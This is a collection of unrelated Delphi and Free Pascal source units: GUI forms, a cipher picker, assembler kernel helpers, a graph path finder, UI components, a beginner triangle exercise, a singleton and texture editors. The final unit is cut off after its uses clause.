unit uStatus_change; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, cxLookAndFeelPainters, StdCtrls, cxButtons, cxLabel, cxControls, cxContainer, cxEdit, cxTextEdit, cxMaskEdit, cxButtonEdit, uCommon_Messages, uCommon_Types, iBase, uCommon_Loader, cxDropDownEdit, cxCalendar, cxLookupEdit, cxDBLookupEdit, cxDBLookupComboBox, DB, FIBDataSet, uHydrometer_DM, pFIBDataSet; type TfrmStatus_change = class(TForm) cxLabel1: TcxLabel; Button_OK: TcxButton; Button_cancel: TcxButton; lblDate: TcxLabel; DateSet: TcxDateEdit; StateBox: TcxLookupComboBox; StateSet: TpFIBDataSet; StateDS: TDataSource; procedure Button_cancelClick(Sender: TObject); procedure Button_OKClick(Sender: TObject); procedure StateBoxPropertiesInitPopup(Sender: TObject); private { Private declarations } public id_status, id_user : Int64; aHandle : TISC_DB_HANDLE; Name_User : String; is_admin : Boolean; procedure StatusDSetCloseOpen; end; var frmStatus_change: TfrmStatus_change; implementation {$R *.dfm} procedure TfrmStatus_change.StatusDSetCloseOpen; begin if StateSet.Active then StateSet.Close; StateSet.SQLs.SelectSQL.Text:='SELECT DISTINCT * FROM BS_HYDROMETER_STATUS_FILTER(:FILTER_STR)'; StateSet.ParamByName('FILTER_STR').AsString:=''; StateSet.Open; end; procedure TfrmStatus_change.Button_cancelClick(Sender: TObject); begin close; end; procedure TfrmStatus_change.Button_OKClick(Sender: TObject); begin if StateBox.EditText = '' then begin bsShowMessage(Application.Title, 'Необхідно обрати статус!', mtError, [mbOK]); Exit; end; if DateSet.Text='' then begin bsShowMessage(Application.Title, 'Необхідно обрати дату!', mtError, [mbOK]); Exit; end; ModalResult := mrOk; end; procedure TfrmStatus_change.StateBoxPropertiesInitPopup(Sender: TObject); begin StatusDSetCloseOpen; end; end.
unit uCryptUtils; interface uses Winapi.Windows, System.Classes, System.SysUtils, Vcl.Menus, DECUtil, DECCipher, Dmitry.Controls.WebLink, uStrongCrypt, uActivationUtils, uSettings, uMemory, uThreadForm, uVCLHelpers, uTranslate, uFormInterfaces; type TPasswordMethodChanger = class(TObject) private FIsChiperSelected: Boolean; FSelectedChiper: Integer; FWebLink: TWebLink; FPopupMenu: TPopupMenu; procedure FillChiperList; procedure OnChiperSelected(Sender: TObject); procedure WblMethodClick(Sender: TObject); procedure ActivationClick(Sender: TObject); public constructor Create(WebLink: TWebLink; PopupMenu: TPopupMenu); end; TPasswordSettingsDBForm = class(TThreadForm) private FMethodChanger: TPasswordMethodChanger; protected function GetPasswordSettingsPopupMenu: TPopupMenu; virtual; abstract; function GetPaswordLink: TWebLink; virtual; abstract; public constructor Create(AOwner: TComponent); override; procedure AfterConstruction; override; destructor Destroy; override; end; implementation uses uActivation; procedure TPasswordSettingsDBForm.AfterConstruction; begin inherited; FMethodChanger := TPasswordMethodChanger.Create(GetPaswordLink, GetPasswordSettingsPopupMenu); end; constructor TPasswordSettingsDBForm.Create(AOwner: TComponent); begin inherited; end; destructor TPasswordSettingsDBForm.Destroy; begin F(FMethodChanger); inherited; end; { TPasswordMethodChanger } procedure TPasswordMethodChanger.ActivationClick(Sender: TObject); begin ActivationForm.Execute; end; constructor TPasswordMethodChanger.Create(WebLink: TWebLink; PopupMenu: TPopupMenu); begin FWebLink := WebLink; FPopupMenu := PopupMenu; FillChiperList; end; function GetChipperName(Chiper : TDECCipher) : string; var ChipperName : string; begin ChipperName := StringReplace(Chiper.ClassType.ClassName, 'TCipher_', '', [rfReplaceAll]); Result := ChipperName + ' - ' + IntToStr(Chiper.Context.KeySize * Chiper.Context.BlockSize ); end; function DoEnumClasses(Data: Pointer; ClassType: TDECClass): Boolean; var MenuItem: TMenuItem; Chiper: TDECCipher; ChiperLength: Integer; ChiperAvaliable: Boolean; Owner: TPasswordMethodChanger; begin Result := False; Owner := TPasswordMethodChanger(Data); MenuItem := TMenuItem.Create(Owner.FPopupMenu); if ClassType.InheritsFrom(TDECCipher) then begin Chiper := CipherByIdentity(ClassType.Identity).Create; try ChiperLength := Chiper.Context.KeySize * Chiper.Context.BlockSize; ChiperAvaliable := not ((ChiperLength > 128) and TActivationManager.Instance.IsDemoMode); if ChiperLength > 16 then begin MenuItem.Caption := GetChipperName(Chiper); MenuItem.Tag := Integer(Chiper.Identity); MenuItem.OnClick := Owner.OnChiperSelected; if not ChiperAvaliable then MenuItem.Enabled := False; Owner.FPopupMenu.Items.Add(MenuItem); end; if (ChiperAvaliable and (not Owner.FIsChiperSelected or (Integer(ClassType.Identity) = Owner.FSelectedChiper))) then begin MenuItem.Click; Owner.FIsChiperSelected := True; end; finally F(Chiper); end; end; end; procedure TPasswordMethodChanger.FillChiperList; var MenuItem: TMenuItem; begin FWebLink.PopupMenu := FPopupMenu; FWebLink.OnClick := WblMethodClick; FIsChiperSelected := False; StrongCryptInit; FSelectedChiper := AppSettings.ReadInteger('Options', 'DefaultCryptClass', Integer(TCipher_Blowfish.Identity)); DECEnumClasses(@DoEnumClasses, Self); if TActivationManager.Instance.IsDemoMode then begin MenuItem := TMenuItem.Create(FPopupMenu); MenuItem.Caption := '-'; FPopupMenu.Items.Add(MenuItem); MenuItem := TMenuItem.Create(FPopupMenu); MenuItem.Caption := TA('Activate application to enable strong encryption!', 'System'); MenuItem.OnClick := ActivationClick; FPopupMenu.Items.Add(MenuItem); end; end; procedure TPasswordMethodChanger.OnChiperSelected(Sender: TObject); begin TMenuItem(Sender).ExSetDefault(True); FWebLink.Text := StringReplace(TMenuItem(Sender).Caption, '&', '', [rfReplaceAll]); FWebLink.Tag := TMenuItem(Sender).Tag; AppSettings.WriteInteger('Options', 'DefaultCryptClass', TMenuItem(Sender).Tag); SetDefaultCipherClass(CipherByIdentity(Cardinal(TMenuItem(Sender).Tag))); end; procedure TPasswordMethodChanger.WblMethodClick(Sender: TObject); var P: TPoint; begin GetCursorPos(P); FPopupMenu.Popup(P.X, P.Y); end; end.
Unit asmb; { * Asmb : * * * * Esta unidad contiene rutinas utilizadas por casi todos los modulos * * del sistema , en su mayoria escritas en assembler para que sean * * mas rapidas * * * * Copyright (c) 2003-2006 Matias Vara <matiasevara@gmail.com> * * All Rights Reserved * * * * Versiones : * * 29 / 09 / 2003 : Version Inicial * * * * * ********************************************************************** } interface {$I ../include/head/printk_.h} const Kernel_Data_Sel =$10; User_Data_Sel =$18 ; implementation {$I ../include/head/ioport.h} {* Memcopy : * * * * Procedimiento para mover desde el puntero origen hasta el puntero destino * * ,la cantidad de bytes indicada en tamaņo. * * * ***************************************************************************** } procedure Memcopy(origen , destino :pointer;tamano:dword);assembler;[public , alias : 'MEMCOPY' ]; asm mov esi , origen mov edi , destino mov ecx , tamano rep movsb end; procedure debug(Valor:dword);[PUBLIC , ALIAS :'DEBUG']; begin asm xor edx , edx mov edx , valor @bucle: jmp @bucle end; end; { * Bit_Test : * * * * Procedimiento que devuelve true si el bit dado en pos esta activo * * * *********************************************************************** } function Bit_Test(Val:Pointer;pos:dword):boolean;[public , alias :'BIT_TEST']; var s:byte; begin asm xor eax , eax xor ebx , ebx mov ebx , pos mov esi , Val bt dword [esi] , ebx jc @si @no: mov s , 0 jmp @salir @si: mov s , 1 @salir: end; exit(boolean(s)); end; { * Bit_Reset * * * * Procedimiento que baja el bit dado en pos en el buffer cadena * * * *********************************************************************** } procedure Bit_Reset(Cadena:pointer;pos:dword);assembler;[Public , Alias :'BIT_RESET']; asm mov ebx , dword [pos] mov esi , Cadena btr dword [esi] , ebx end; { * Bit_Set * * * * Procedimiento que activa el bit dado en pos * * * *********************************************************************** } procedure Bit_Set(ptr_dw:pointer;pos:dword);assembler;[Public , Alias :'BIT_SET']; asm mov esi , ptr_dw xor edx , edx mov edx , dword [pos] bts dword [esi] , edx end; procedure Panic(error:pchar);[public, alias :'PANIC']; begin //printk(@error,[],[]); debug(-1); end; { * Mapa_Get : * * * * Mapa : Puntero a un mapa de bits * * Limite : Tama¤o del mapa * * Retorno : Numero de bit libre * * * * Funcion que busca destro de un mapa de bits , uno en estado 0 y * * devuelve su posicion * * * *********************************************************************** } function Mapa_Get(Mapa:pointer;Limite:dword):word;[public , alias :'MAPA_GET']; var ret:word; begin dec(Limite); asm mov esi , Mapa mov ecx , limite xor eax , eax @bucle: bt dword[esi] , ax jc @si inc ax loop @bucle @si: mov ret , ax end; exit (ret); end; { * Limpiar_Array : * * * * P_array : Puntero a un array * * fin : tama¤o del array * * * * Procedimiento utilizado para llenar de caracteres nulos un array * * * *********************************************************************** } procedure Limpiar_Array(p_array:pointer;fin:word);[public , alias :'LIMPIAR_ARRAY']; var tmp:word; cl:^char; begin cl:=p_array; for tmp:= 0 to Fin do begin cl^:=#0; cl+=1; end; end; { * Reset_Computer : * * * * Simple proc. que resetea la maquina * * * *********************************************************************** } procedure Reboot;assembler;[public , alias :'REBOOT']; asm cli @wait: in al , $64 test al , 2 jnz @wait mov edi, $472 mov word [edi], $1234 mov al , $FC out $64, al @die: hlt jmp @die end; procedure Bcd_To_Bin(var val:dword) ;inline; begin val := (val and 15) + ((val shr 4) * 10 ); end; { * get_datetime : devuelve la hora actual del sistema utlizando el form * * ato horario de unix * * * ************************************************************************** } function get_datetime : dword ;[public , alias :'GET_DATETIME']; var sec , min , hour , day , mon , year : dword ; begin repeat sec := Cmos_Read(0); min := Cmos_Read(2); hour := Cmos_Read(4); day := Cmos_Read(7); mon := Cmos_Read(8); year := Cmos_Read(9); until (sec = Cmos_Read(0)); Bcd_To_Bin(sec); Bcd_To_Bin(min); Bcd_To_Bin(hour); Bcd_To_Bin(day); Bcd_To_Bin(mon); Bcd_To_Bin(year); mon -= 2 ; If (0 >= mon) then begin mon += 12 ; year -= 1; end; get_datetime := (( ((year div 4 - year div 100 + year div 400 + 367 * mon div 12 + day) +(year * 365) -(719499)) *24 +hour ) *60 +min ) *60 +sec; end; end.
unit TypeExamples; interface type TSomeBase = class end; type ISomeInterface = interface ['{A9AA9516-DB60-4930-961F-D5CC225E99C7}'] end; // records, stack, heap type TSomeRecord = record // fields IntField : integer; StringField : string; end; // classes (heap only) type TSomeClass = class(TInterfacedObject, ISomeInterface) // fields, methods, properties private FIntField : integer; FStringField : string; function GetFieldValue(index : string) : string; public property IntField : integer read FIntField; property StringField : string read FStringField; property FieldValue[index : string]: string read GetFieldValue; default; constructor Create(Intfield : integer; StringField: string); end; // note: classes had language support for inheritance // inherited // well and there were also objects, some weird class / record hybrid everyone forgot about type TSomeObject = object IntField : integer; StringField : string; end; type SomeFloat = double; type SomeNewFloat = type double; type SubRange = 0..10; const X = 50; Y = 10; type Scale = 2 * (X - Y)..(X + Y) * 2; procedure A(Param : double); procedure B(Param : SomeNewFloat); implementation uses SysUtils; procedure A(Param : double); begin end; procedure B(Param : SomeNewFloat); begin end; { TSomeClass } constructor TSomeClass.Create(Intfield: integer; StringField: string); begin FIntField := Intfield; FStringField := StringField; end; function TSomeClass.GetFieldValue(index: string): string; begin if index='Int' then Result := IntToStr(FIntField) else if index = 'String' then Result := FStringField; end; end.
unit DSA.Graph.Path; {$mode objfpc}{$H+} interface uses Classes, SysUtils, DSA.Interfaces.DataStructure, DSA.Utils; type /// <summary> 路径查询 </summary> TPath = class private __g: IGraph; // 图的引用 __visited: TArray_bool; // 记录dfs的过程中节点是否被访问 __s: integer; // 起始点 //记录路径, from[i]表示查找的路径上i的上一个节点 __from: TArray_int; /// <summary> 图的深度优先遍历 </summary> procedure __dfs(v: integer); public constructor Create(g: IGraph; s: integer); destructor Destroy; override; /// <summary> 查询从s点到w点是否有路径 </summary> function HasPath(w: integer): boolean; /// <summary> 查询从s点到w点的路径, 存放在list中 </summary> procedure Path(w: integer; list: TArrayList_int); /// <summary> 打印出从s点到w点的路径 </summary> procedure ShowPath(w: integer); end; procedure Main; implementation uses DSA.Graph.SparseGraph; procedure Main; var fileName: string; g: TSparseGraph; path: TPath; begin fileName := FILE_PATH + GRAPH_FILE_NAME_2; g := TSparseGraph.Create(7, False); TDSAUtils.ReadGraph(g as IGraph, fileName); g.Show; path := TPath.Create(g, 0); Write('Path from 0 to 6 DFS: '); path.ShowPath(6); end; { TPath } constructor TPath.Create(g: IGraph; s: integer); var i: integer; begin Assert((s >= 0) and (s < g.Vertex)); __g := g; SetLength(__visited, __g.Vertex); SetLength(__from, __g.Vertex); for i := 0 to __g.Vertex - 1 do begin __visited[i] := False; __from[i] := -1; end; __s := s; // 寻路算法 __dfs(s); end; destructor TPath.Destroy; begin inherited Destroy; end; function TPath.HasPath(w: integer): boolean; begin Assert((w >= 0) and (w < __g.Vertex)); Result := __visited[w]; end; procedure TPath.Path(w: integer; list: TArrayList_int); var stack: TStack_int; p: integer; begin Assert(HasPath(w)); stack := TStack_int.Create; // 通过__from数组逆向查找到从s到w的路径, 存放到栈中 p := w; while p <> -1 do begin stack.Push(p); p := __from[p]; end; // 从栈中依次取出元素, 获得顺序的从s到w的路径 while not stack.IsEmpty do begin list.AddLast(stack.Peek); stack.Pop; end; end; procedure TPath.ShowPath(w: integer); var list: TArrayList_int; i: integer; begin list := TArrayList_int.Create; Path(w, list); for i := 0 to list.GetSize - 1 do begin Write(list[i]); if i = list.GetSize - 1 then Writeln else Write(' -> '); end; end; procedure TPath.__dfs(v: integer); var i: integer; begin __visited[v] := True; for i in __g.AdjIterator(v) do begin if __visited[i] = False then begin __from[i] := v; __dfs(i); end; end; end; end.
unit LiteToggleLabel; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, uColorTheme, LiteLabel; type ToggleEvent = procedure(Button: TMouseButton; Shift: TShiftState; X, Y: Integer) of object; const TL_DEFAULT_HEIGHT = 160; { Lite Label } type TLiteToggleLabel = class(TPanel, IUnknown, IThemeSupporter) private theme: ColorTheme; isContentOpen, leaveOpenOnStart: boolean; triggerButton, title: TLiteLabel; openHeight, closeHeight: integer; toggledEvent: ToggleEvent; // Crutch userValidateStateTrigger: boolean; procedure updateSelfColors(); // trigger events procedure triggerPressed(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); // Crutch procedure userValidateStateWrite(b: boolean); protected procedure Loaded(); override; procedure Resize(); override; public constructor Create(AOwner: TComponent); override; // IThemeSupporter procedure setTheme(theme: ColorTheme); function getTheme(): ColorTheme; procedure updateColors(); procedure SetTitleCaption(s: String); function GetTitleCaption(): String; procedure validateState(); procedure open(); procedure close(); function isOpen(): boolean; { Opens/Closes label according to current state } procedure toggle(); { Sets min and max values of closed and opened states } procedure setAmplitude(close, open: integer); published property Caption: String read GetTitleCaption write SetTitleCaption; // if false then label will be closed when app starts property LeaveOpen: boolean read leaveOpenOnStart write leaveOpenOnStart; // Uset to set Open hight at design time property MaxHeight: integer read openHeight write openHeight; property OnToggle: ToggleEvent read toggledEvent write toggledEvent; property __UpdateState: boolean read userValidateStateTrigger write userValidateStateWrite; end; procedure Register; implementation procedure Register; begin RegisterComponents('Lite', [TLiteToggleLabel]); end; // trigger event procedure TLiteToggleLabel.triggerPressed(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin toggle(); if Assigned(toggledEvent) then toggledEvent(Button, Shift, X, Y); end; // Override constructor TLiteToggleLabel.Create(AOwner: TComponent); begin inherited Create(AOwner); triggerButton := TLiteLabel.Create(self); title := TLiteLabel.Create(self); triggerButton.Parent := self; title.Parent := self; theme := CT_DEFAULT_THEME; updateSelfColors(); // default styles BevelOuter := bvNone; Height := TL_DEFAULT_HEIGHT; MaxHeight := TL_DEFAULT_HEIGHT; validateState(); // subactions triggerButton.OnMouseDown := triggerPressed; end; // Override procedure TLiteToggleLabel.Loaded(); begin validateState(); // retrieves last wh from resizes if leaveOpenOnStart then open() else close(); end; // Override procedure TLiteToggleLabel.setTheme(theme: ColorTheme); var i: integer; supporter: IThemeSupporter; begin self.theme := theme; // link for i := 0 to ControlCount - 1 do if Supports(controls[i], IThemeSupporter, supporter) then supporter.setTheme(theme); end; // Override function TLiteToggleLabel.getTheme(): ColorTheme; begin getTheme := theme; end; // Override procedure TLiteToggleLabel.updateColors(); var i: integer; supporter: IThemeSupporter; begin updateSelfColors(); for i := 0 to ControlCount - 1 do if Supports(controls[i], IThemeSupporter, supporter) then supporter.updateColors(); end; // Override procedure TLiteToggleLabel.Resize(); begin inherited Resize; validateState(); end; // TLiteToggleLabel procedure TLiteToggleLabel.userValidateStateWrite(b: boolean); begin validateState(); end; // TLiteToggleLabel procedure TLiteToggleLabel.updateSelfColors(); begin Color := theme.background; end; // TLiteToggleLabel procedure TLiteToggleLabel.SetTitleCaption(s: String); begin title.Caption := s; end; // TLiteToggleLabel function TLiteToggleLabel.GetTitleCaption(): String; begin GetTitleCaption := title.Caption; end; // TLiteToggleLabel procedure TLiteToggleLabel.setAmplitude(close, open: integer); begin closeHeight := close; openHeight := open; end; // TLiteToggleLabel procedure TLiteToggleLabel.validateState(); begin triggerButton.Width := title.Height; triggerButton.Height := title.Height; triggerButton.Alignment := taCenter; title.Left := triggerButton.Width; title.Width := Width - triggerButton.Width; if Height > title.Height then begin MaxHeight := Height; setAmplitude(title.Height, Height); open(); end else begin setAmplitude(title.Height, MaxHeight); close(); end; end; // TLiteToggleLabel procedure TLiteToggleLabel.open(); begin Height := openHeight; triggerButton.Caption := '-'; isContentOpen := true; end; // TLiteToggleLabel procedure TLiteToggleLabel.close(); begin Height := closeHeight; triggerButton.Caption := '+'; isContentOpen := false; end; // TLiteToggleLabel function TLiteToggleLabel.isOpen(): boolean; begin isOpen := isContentOpen; end; // TLiteToggleLabel procedure TLiteToggleLabel.toggle(); begin if isContentOpen then close() else open(); end; end.
{PROGRAMME Triangle numérique //BUT: Afficher un triangle selon une dimensions donnée //ENTREE:Une dimension //SORTIE:Un triangle VAR x,y,dimensions:ENTIER DEBUT ECRIRE 'Veuillez entrer la dimension de votre triangle' //On demande la dimension du futur triangle LIRE(dimensions) POUR x DE 1 A dimension-1 FAIRE //On décremente de 1 à chaque fois dans le triangle jusqu'à atteindre la dimension DEBUT POUR y de 1 A dimension FAIRE //On décremente de 1 à chaque fois dans le triangle jusqu'à atteindre la dimension DEBUT SI y=1 OU y=x ALORS //Si l'axe des abscisses est égale à 1 ou a x alors on écrit X car on décremente ECRIRE ('X') SINON SI y<x ALORS ECRIRE('O') //Sinon on écrit O FINPOUR ECRIRE() FIN FINPOUR POUR y DE 1 A dimension FAIRE //Création de la dernière ligne ECRIRE('X'); LIRE(); FIN } program Trianglenumerique; //BUT: Afficher un triangle selon une dimensions donnée //ENTREE:Une dimension //SORTIE:Un triangle uses crt; VAR x,y,dimension:INTEGER; BEGIN Writeln('Veuillez entrer la dimension de votre triangle');//On demande la dimension du futur triangle Readln(dimension); FOR x:=1 TO (dimension-1) DO //On décremente de 1 à chaque fois dans le triangle jusqu'à atteindre la dimension DEBUT BEGIN FOR y:=1 TO dimension DO //On décremente de 1 à chaque fois dans le triangle jusqu'à atteindre la dimension BEGIN IF ((y=1) OR (y=x)) THEN //Si l'axe des abscisses est égale à 1 ou a x alors on écrit X car on décremente Write('X') ELSE IF y<x THEN Write('O'); //Sinon on écrit O END; Writeln(); END; FOR y:=1 TO dimension DO //Création de la dernière ligne Write('X'); Readln(); END.
unit uSingleton; interface uses System.SysUtils; type TSingleton = class private constructor Create; public class function NewInstance: TObject; override; class function InstanceNull(var aPointer: TSingleton): Boolean; class function GetInstance: TSingleton; end; var Instance: TSingleton = nil; implementation { TSingleton } constructor TSingleton.Create; begin inherited; end; class function TSingleton.GetInstance: TSingleton; begin Result := TSingleton.Create; end; class function TSingleton.InstanceNull(var aPointer: TSingleton): Boolean; begin Result := False; if not Assigned(aPointer) then Result := True; end; class function TSingleton.NewInstance: TObject; begin if not Assigned(Instance) then Instance := TSingleton(inherited NewInstance); Result := Instance; end; initialization finalization FreeAndNil(Instance); end.
unit PrintStatusForm; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, HTMLView, MetaFilePrinter; const wm_StartPreview = wm_User+22; wm_StartPrint = wm_User+23; type TPrnStatusForm = class(TForm) StatusLabel: TLabel; CancelButton: TBitBtn; procedure CancelButtonClick(Sender: TObject); private { Private declarations } Viewer: ThtmlViewer; Canceled: boolean; MFPrinter: TMetaFilePrinter; FromPage, ToPage: integer; procedure wmStartPreview(var Message: TMessage); message wm_StartPreview; procedure wmStartPrint(var Message: TMessage); message wm_StartPrint; procedure PageEvent(Sender: TObject; PageNum: integer; var Stop: boolean); public { Public declarations } procedure DoPreview(AViewer: ThtmlViewer; AMFPrinter: TMetaFilePrinter; var Abort: boolean); procedure DoPrint(AViewer: ThtmlViewer; FromPg, ToPg: integer; var Abort: boolean); end; var PrnStatusForm: TPrnStatusForm; implementation {$R *.DFM} procedure TPrnStatusForm.DoPreview(AViewer: ThtmlViewer; AMFPrinter: TMetaFilePrinter; var Abort: boolean); begin Viewer := AViewer; MFPrinter := AMFPrinter; Viewer.OnPageEvent := PageEvent; PostMessage(Handle, Wm_StartPreview, 0, 0); Abort := ShowModal = mrCancel; end; procedure TPrnStatusForm.DoPrint(AViewer: ThtmlViewer; FromPg, ToPg: integer; var Abort: boolean); begin Viewer := AViewer; FromPage := FromPg; ToPage := ToPg; Viewer.OnPageEvent := PageEvent; PostMessage(Handle, Wm_StartPrint, 0, 0); Abort := ShowModal = mrCancel; end; procedure TPrnStatusForm.PageEvent(Sender: TObject; PageNum: integer; var Stop: boolean); begin if Canceled then Stop := True else if PageNum = 0 then StatusLabel.Caption := 'Formating' else StatusLabel.Caption := 'Page Number '+ IntToStr(PageNum); Update; end; procedure TPrnStatusForm.wmStartPreview(var Message: TMessage); begin Viewer.PrintPreview(MFPrinter); if Canceled then ModalResult := mrCancel else ModalResult := mrOK; end; procedure TPrnStatusForm.wmStartPrint(var Message: TMessage); begin Viewer.Print(FromPage, ToPage); if Canceled then ModalResult := mrCancel else ModalResult := mrOK; end; procedure TPrnStatusForm.CancelButtonClick(Sender: TObject); begin Canceled := True; end; end.
// // VXScene Component Library, based on GLScene http://glscene.sourceforge.net // { Standard texture image editors for standard texture image classes. } unit VXS.TextureImageEditors; interface {$I VXScene.inc} uses System.Classes, System.SysUtils, VXS.Texture, VXS.ProcTextures, VXS.Utils; type TVXTextureImageEditor = class(TObject) public { Public Properties } { Request to edit a textureImage. Returns True if changes have been made. This method may be invoked from the IDE or at run-time. } class function Edit(aTexImage : TVXTextureImage) : Boolean; virtual; abstract; end; TVXTextureImageEditorClass = class of TVXTextureImageEditor; TVXBlankTIE = class(TVXTextureImageEditor) public { Public Properties } class function Edit(aTexImage : TVXTextureImage) : Boolean; override; end; // TVXPersistentTIE // TVXPersistentTIE = class(TVXTextureImageEditor) public { Public Properties } class function Edit(aTexImage : TVXTextureImage) : Boolean; override; end; TVXPicFileTIE = class(TVXTextureImageEditor) public { Public Properties } class function Edit(aTexImage : TVXTextureImage) : Boolean; override; end; TVXProcTextureNoiseTIE = class(TVXTextureImageEditor) public { Public Properties } class function Edit(aTexImage : TVXTextureImage) : Boolean; override; end; // Invokes the editor for the given TVXTextureImage function EditTextureImage(aTexImage : TVXTextureImage) : Boolean; procedure RegisterTextureImageEditor(aTexImageClass : TVXTextureImageClass; texImageEditor : TVXTextureImageEditorClass); procedure UnRegisterTextureImageEditor(texImageEditor : TVXTextureImageEditorClass); //------------------------------------------------------------------------------ implementation //------------------------------------------------------------------------------ var vTIEClass, vTIEEditor : TList; function EditTextureImage(aTexImage : TVXTextureImage) : Boolean; var i : Integer; editor : TVXTextureImageEditorClass; begin if Assigned(vTIEClass) then begin i:=vTIEClass.IndexOf(Pointer(aTexImage.ClassType)); if i>=0 then begin editor:=TVXTextureImageEditorClass(vTIEEditor[i]); Result:=editor.Edit(aTexImage); Exit; end; end; InformationDlg(aTexImage.ClassName+': editing not supported.'); Result:=False; end; procedure RegisterTextureImageEditor(aTexImageClass : TVXTextureImageClass; texImageEditor : TVXTextureImageEditorClass); begin if not Assigned(vTIEClass) then begin vTIEClass:=TList.Create; vTIEEditor:=TList.Create; end; vTIEClass.Add(Pointer(aTexImageClass)); vTIEEditor.Add(texImageEditor); end; procedure UnRegisterTextureImageEditor(texImageEditor : TVXTextureImageEditorClass); var i : Integer; begin if Assigned(vTIEClass) then begin i:=vTIEEditor.IndexOf(texImageEditor); if i>=0 then begin vTIEClass.Delete(i); vTIEEditor.Delete(i); end; end; end; // ------------------ // ------------------ TVXBlankTIE ------------------ // ------------------ class function TVXBlankTIE.Edit(aTexImage : TVXTextureImage) : Boolean; var p1, p2 : Integer; buf, part : String; texImage : TVXBlankImage; begin texImage:=(aTexImage as TVXBlankImage); if texImage.Depth=0 then buf:=InputDlg('Blank Image', 'Enter size', Format('%d x %d', [texImage.Width, texImage.Height])) else buf:=InputDlg('Blank Image', 'Enter size', Format('%d x %d x %d', [texImage.Width, texImage.Height, texImage.Depth])); p1:=Pos('x', buf); if p1>0 then begin texImage.Width:=StrToIntDef(Trim(Copy(buf, 1, p1-1)), 256); part := Copy(buf, p1+1, MaxInt); p2:=Pos('x', part); if p2>0 then begin texImage.Height:=StrToIntDef(Trim(Copy(part, 1, p2-1)), 256); texImage.Depth:=StrToIntDef(Trim(Copy(part, p2+1, MaxInt)), 1) end else begin texImage.Height:=StrToIntDef(Trim(Copy(buf, p1+1, MaxInt)), 256); texImage.Depth:=0; end; Result:=True; end else begin InformationDlg('Invalid size'); Result:=False; end; end; // ------------------ // ------------------ TVXPersistentTIE ------------------ // ------------------ class function TVXPersistentTIE.Edit(aTexImage : TVXTextureImage) : Boolean; var fName : String; begin fName:=''; Result:=OpenPictureDialog(fName); if Result then begin aTexImage.LoadFromFile(fName); aTexImage.NotifyChange(aTexImage); end; end; // ------------------ // ------------------ TVXPicFileTIE ------------------ // ------------------ class function TVXPicFileTIE.Edit(aTexImage : TVXTextureImage) : Boolean; var newName : String; texImage : TVXPicFileImage; begin { TODO : A better TVXPicFileImage.Edit is needed... } texImage:=(aTexImage as TVXPicFileImage); newName:=InputDlg('PicFile Image', 'Enter filename', texImage.PictureFileName); Result:=(texImage.PictureFileName<>newName); if Result then texImage.PictureFileName:=newName end; class function TVXProcTextureNoiseTIE.Edit(aTexImage : TVXTextureImage) : Boolean; var p : Integer; buf : String; begin with aTexImage as TVXProcTextureNoise do begin buf:=InputDlg(TVXProcTextureNoise.FriendlyName, 'Enter size', Format('%d x %d', [Width, Height])); p:=Pos('x', buf); if p>0 then begin Width:=StrToIntDef(Trim(Copy(buf, 1, p-1)), 256); Height:=StrToIntDef(Trim(Copy(buf, p+1, MaxInt)), 256); buf:=InputDlg(TVXProcTextureNoise.FriendlyName, 'Minimum Cut', IntToStr(MinCut)); MinCut := StrToIntDef(buf, 0); buf:=InputDlg(TVXProcTextureNoise.FriendlyName, 'Noise Sharpness', FloatToStr(NoiseSharpness)); NoiseSharpness := VXS.Utils.StrToFloatDef(buf, 0.9); buf:=InputDlg(TVXProcTextureNoise.FriendlyName, 'Random Seed', IntToStr(NoiseRandSeed)); NoiseRandSeed := StrToIntDef(buf, 0); RandSeed := NoiseRandSeed; buf := InputDlg(TVXProcTextureNoise.FriendlyName, 'Generate Seamless Texture (0,1)', IntToStr(Ord(Seamless))); Seamless := (buf<>'0'); Result:=True; Invalidate; end else begin InformationDlg('Invalid size'); Result:=False; end; end; end; // ------------------------------------------------------------------ initialization // ------------------------------------------------------------------ RegisterTextureImageEditor(TVXBlankImage, TVXBlankTIE); RegisterTextureImageEditor(TVXPersistentImage, TVXPersistentTIE); RegisterTextureImageEditor(TVXPicFileImage, TVXPicFileTIE); RegisterTextureImageEditor(TVXProcTextureNoise, TVXProcTextureNoiseTIE); finalization UnRegisterTextureImageEditor(TVXBlankTIE); UnRegisterTextureImageEditor(TVXPersistentTIE); UnRegisterTextureImageEditor(TVXPicFileTIE); UnRegisterTextureImageEditor(TVXProcTextureNoiseTIE); FreeAndNil(vTIEClass); FreeAndNil(vTIEEditor); end.
unit uTableChangesPrint; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, uTableSelectFrame, FR_Class, FR_DSet, FR_DBSet, PersonalCommon, ComCtrls, uCommonDB, DB, Registry, uTableGroup; type TfrmTableChangesPrint = class(TForm) SelectFrame: TfrmTableSelect; OkButton: TBitBtn; ExportButton: TBitBtn; CancelButton: TBitBtn; TableReport: TfrReport; Label1: TLabel; DateBegPicker: TDateTimePicker; Label2: TLabel; DateEndPicker: TDateTimePicker; MainDataset: TfrDBDataSet; TableDataset: TfrUserDataset; MainSource: TDataSource; AllBox: TCheckBox; Label3: TLabel; TypeBox: TComboBox; procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure OkButtonClick(Sender: TObject); procedure ExportButtonClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure TableReportGetValue(const ParName: string; var ParValue: Variant); procedure TableDatasetCheckEOF(Sender: TObject; var Eof: Boolean); procedure TableDatasetFirst(Sender: TObject); procedure TableDatasetNext(Sender: TObject); procedure TableDatasetPrior(Sender: TObject); procedure MainSourceDataChange(Sender: TObject; Field: TField); procedure SelectFrameMonthBoxChange(Sender: TObject); procedure AllBoxClick(Sender: TObject); procedure SelectFrameAcceptButtonClick(Sender: TObject); private DB: TDBCenter; ChangesDataset: TDataSet; TableGroup: TTableGroup; CurrentDay: Integer; CurrentTable: Integer; PrevTable: Integer; Loaded: Boolean; procedure PrepareReport; public procedure LoadState; end; var frmTableChangesPrint: TfrmTableChangesPrint; resourcestring TableChangesSQL = 'SELECT * FROM Table_Get_Changes(:Id_Table_Group, :Date_Beg, :Date_End)'; AllTableChangesSQL = 'SELECT * FROM Table_Get_All_Changes(:Date_Beg, :Date_End)'; implementation uses 